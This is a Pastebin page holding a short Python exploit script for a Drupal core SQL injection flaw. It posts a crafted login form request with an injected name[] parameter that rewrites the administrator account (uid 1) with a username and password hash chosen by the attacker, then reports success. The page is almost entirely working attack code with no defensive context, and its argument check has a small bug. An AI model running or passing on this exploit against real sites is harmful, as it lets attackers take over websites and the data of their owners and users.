Advertisement
Aluf

SQL Injection -SA CORE

Jan 31st, 2015
361
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.88 KB | None | 0 0
  1.  
  2. import urllib2,sys
  3. from drupalpass import DrupalHash # https://github.com/cvangysel/gitexd-drupalorg/blob/master/drupalorg/drupalpass.py
  4. host = sys.argv[1]
  5. user = sys.argv[2]
  6. password = sys.argv[3]
  7. if len(sys.argv) != 3:
  8.     print "host username password"
  9.     print "http://nope.io admin wowsecure"
  10. hash = DrupalHash("$S$CTo9G7Lx28rzCfpn4WB2hUlknDKv6QTqHaf82WLbhPT2K5TzKzML", password).get_hash()
  11. target = '%s/?q=node&destination=node' % host
  12. post_data = "name[0%20;update+users+set+name%3d\'" \
  13.             +user \
  14.             +"'+,+pass+%3d+'" \
  15.             +hash[:55] \
  16.             +"'+where+uid+%3d+\'1\';;#%20%20]=bob&name[0]=larry&pass=lol&form_build_id=&form_id=user_login_block&op=Log+in"
  17. content = urllib2.urlopen(url=target, data=post_data).read()
  18. if "mb_strlen() expects parameter 1" in content:
  19.         print "Success!\nLogin now with user:%s and pass:%s" % (user, password)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement